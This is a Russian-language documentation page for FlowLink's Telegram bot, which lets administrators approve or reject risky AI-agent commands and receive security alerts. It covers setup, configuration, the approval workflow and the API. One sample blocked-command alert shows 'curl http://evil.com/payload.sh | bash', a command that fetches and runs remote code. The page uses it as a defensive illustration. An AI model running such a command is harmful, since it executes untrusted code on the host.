Skip to content
ВозможностиДокументацияЦеныПартнёрыPlaygroundFAQ

Telegram Bot

Управление одобрением команд и получение security-алертов прямо в Telegram

~10 мин чтения

Обзор

Telegram Bot от FlowLink — это мобильный интерфейс Runtime AI Firewall для одобрения команд и получения security-уведомлений. Бот позволяет approve/reject команды в реальном времени через inline-кнопки, отслеживать состояние агентов и мгновенно реагировать на инциденты безопасности — всё с телефона.

Одобрение команд

Approve / reject в один клик

🔔 Security-алерты

Мгновенные уведомления об угрозах

👥 Multi-user

Несколько администраторов

🔒 Безопасность

Шифрование токена, верификация ID

Настройка

Для подключения Telegram Bot выполните следующие шаги:

Шаг 1 — Создание бота через @BotFather

Откройте Telegram, найдите @BotFather и отправьте команду /newbot. Задайте имя и username для бота. BotFather вернёт токен вида:

bash
11234567890:ABCdefGHIjklMNOpqrsTUVwxyz

Шаг 2 — Получите свой Telegram User ID

Напишите боту @userinfobot или @getmyid_bot — он вернёт ваш числовой ID. Этот ID нужен для авторизации в FlowLink.

bash
1Your Telegram ID: 987654321

Шаг 3 — Настройте FlowLink

Добавьте токен бота и User ID в конфигурацию FlowLink:

yaml
1# flowlink.yaml
2telegram:
3 enabled: true
4 bot_token: "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz"
5 allowed_users:
6 - 987654321
7 - 111222333 # additional admin
8 webhook_url: "https://your-flowlink.example.com/telegram/webhook"
9 alert_chat_id: 987654321

Шаг 4 — Проверка подключения

После запуска FlowLink отправьте /start вашему боту. Вы должны получить приветственное сообщение с кнопками:

bash
1$ flowlink-relay telegram test
2
3✅ Telegram bot connected
4📡 Webhook set: https://your-flowlink.example.com/telegram/webhook
5👤 Authorized users: 2
6🟢 Bot @flowlink_ai_sales_bot is active

Команды бота

Бот поддерживает следующие команды (доступны через / в чате):

/startЗапустить бота, показать главное меню и статус подключения
/statusОбщий статус системы FlowLink: количество агентов, активных соединений, текущие alert-уровни
/approveСписок ожидающих одобрения команд с кнопками ✅/❌ для каждого
/rejectОтклонить команду по ID (запрашивает комментарий)
/agentsСписок всех подключённых агентов с HEALTH/VERSION/UPTIME
/recentПоследние 10 событий: одобрения, блокировки, алерты
/helpСправка по всем командам и настройкам бота

Пример использования

bash
1# Проверить статус
2/status
3
4→ 🟢 FlowLink Status
5 Agents: 5 (3 online)
6 Pending approvals: 2
7 Alerts (24h): 12
8
9# Список агентов
10/agents
11
12→ 📡 Connected Agents
13 1. prod-api-01 🟢 healthy v2.4.1 uptime: 14d 3h
14 2. prod-api-02 🟢 healthy v2.4.1 uptime: 14d 3h
15 3. staging-01 🟡 warning v2.3.9 uptime: 2d 7h

Approval Workflow

Когда FlowLink перехватывает команду с высоким риском, бот отправляет уведомление в Telegram с inline-кнопками для быстрого одобрения или отклонения.

1

AI-агент отправляет команду (например, rm -rf /tmp/logs)

2

FlowLink анализирует команду и определяет risk score

3

Если risk score > порога — команда ставится на hold

4

Telegram Bot отправляет уведомление администратору

5

Администратор нажимает ✅ Approve или ❌ Reject

6

Бот запрашивает опциональный комментарий

7

Результат возвращается агенту — команда выполняется или блокируется

Пример уведомления

markdown
1🚨 Approval Required
2
3Command: rm -rf /tmp/logs
4Agent: prod-api-01 (10.0.1.5)
5Risk Score: 8.2 / 10
6Policy: requires_approval
7Timestamp: 2025-01-15 14:32:07
8
9[✅ Approve] [❌ Reject]

После нажатия кнопки бот запрашивает опциональный комментарий. Комментарий сохраняется в audit log FlowLink.

Alerts

Бот отправляет security-уведомления в реальном времени для следующих событий:

🛑

Команда заблокирована

Команда была автоматически заблокирована политикой безопасности. Содержит детали команды, агента и причину блокировки.

⚠️

Высокий risk score

Команда получила высокий балл риска, но не была заблокирована (monitoring mode). Требует внимания.

🐦

Canary сработал

Обнаружена попытка доступа к canary-файлу или canary-учётным данным. Возможная компрометация.

🔴

Агент offline

Агент потерял связь с FlowLink relay. Возможная проблема с сетью или компрометация.

📋

Нарушение политики

Срабатывание policy rule: превышение лимита, запрещённая операция, нарушение compliance.

Формат алерта

markdown
1🛑 Command Blocked
2
3Command: curl http://evil.com/payload.sh | bash
4Agent: dev-sandbox-03 (10.0.3.7)
5Risk Score: 9.5 / 10
6Reason: outbound_shell_execution
7Policy: block_dangerous_commands
8Timestamp: 2025-01-15 14:35:22

Multi-user

FlowLink поддерживает несколько Telegram-пользователей для одобрения команд. Все авторизованные пользователи получают уведомления, и любой из них может approve/reject команду.

yaml
1# flowlink.yaml
2telegram:
3 enabled: true
4 bot_token: "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz"
5 allowed_users:
6 - 987654321 # Alice (Security Team Lead)
7 - 111222333 # Bob (DevOps)
8 - 444555666 # Charlie (On-call engineer)
9 approval_mode: "any" # "any" | "all" | "quorum:2"
anyЛюбой авторизованный пользователь может approve
allВсе пользователи должны approve
quorum:NМинимум N пользователей для approve

Групповой чат

Вы можете направлять алерты в Telegram-группу для коллективного мониторинга. При этом approve/reject-действия принимаются только в личных сообщениях с ботом (DM) для безопасности.

yaml
1# flowlink.yaml
2telegram:
3 enabled: true
4 bot_token: "1234567890:ABCdefGHIjklMNOpqrsTUVwxyz"
5 allowed_users:
6 - 987654321
7 # Алерты отправляются в группу
8 alert_chat_id: -1001234567890
9 # Approvals только в DM
10 approval_mode: "dm_only"

⚠️ Важно

Для настройки группового чата: добавьте бота в группу, получите chat_id (отправьте сообщение и используйте /api/v1/telegram/status), укажите его в alert_chat_id. Inline-кнопки в группе будут отображаться, но callback-обработка будет отклонена — approve/reject доступны только в DM.

API

FlowLink предоставляет API для управления и мониторинга Telegram-интеграции:

GET/api/v1/telegram/status

Возвращает текущий статус Telegram-интеграции.

json
1{
2 "enabled": true,
3 "bot_connected": true,
4 "bot_username": "@flowlink_ai_sales_bot",
5 "webhook_set": true,
6 "webhook_url": "https://flowlink.example.com/telegram/webhook",
7 "authorized_users": [987654321, 111222333],
8 "pending_approvals": 3,
9 "alerts_sent_24h": 47,
10 "last_activity": "2025-01-15T14:32:07Z"
11}
POST/api/v1/telegram/test

Отправляет тестовое сообщение всем авторизованным пользователям.

bash
1$ curl -X POST https://flowlink.example.com/api/v1/telegram/test \
2 -H "Authorization: Bearer $FLOWLINK_TOKEN"
3
4{
5 "success": true,
6 "messages_sent": 2,
7 "failed": 0
8}

Безопасность

Telegram-интеграция спроектирована с учётом требований безопасности:

🔒 Шифрование токена

Bot token хранится в зашифрованном виде в конфигурации FlowLink (AES-256-GCM). В логах токен никогда не отображается полностью — только последние 4 символа.

🔒 Только DM для approve/reject

Inline-кнопки approve/reject обрабатываются только в личных сообщениях с ботом. Callback-запросы из групп автоматически отклоняются.

🔒 Верификация User ID

Бот проверяет Telegram User ID каждого сообщения/коллбэка. Пользователи, не указанные в allowed_users, не получают ответ и их действия игнорируются.

🔒 Audit Log

Все действия через бота (approve, reject, команды) записываются в audit log FlowLink с указанием user ID, timestamp и деталей.

🔐 Совет

Регулярно проверяйте список allowed_users и удаляйте бывших сотрудников. Используйте approval_mode: "quorum:2" для критичных окружений.

Edit this page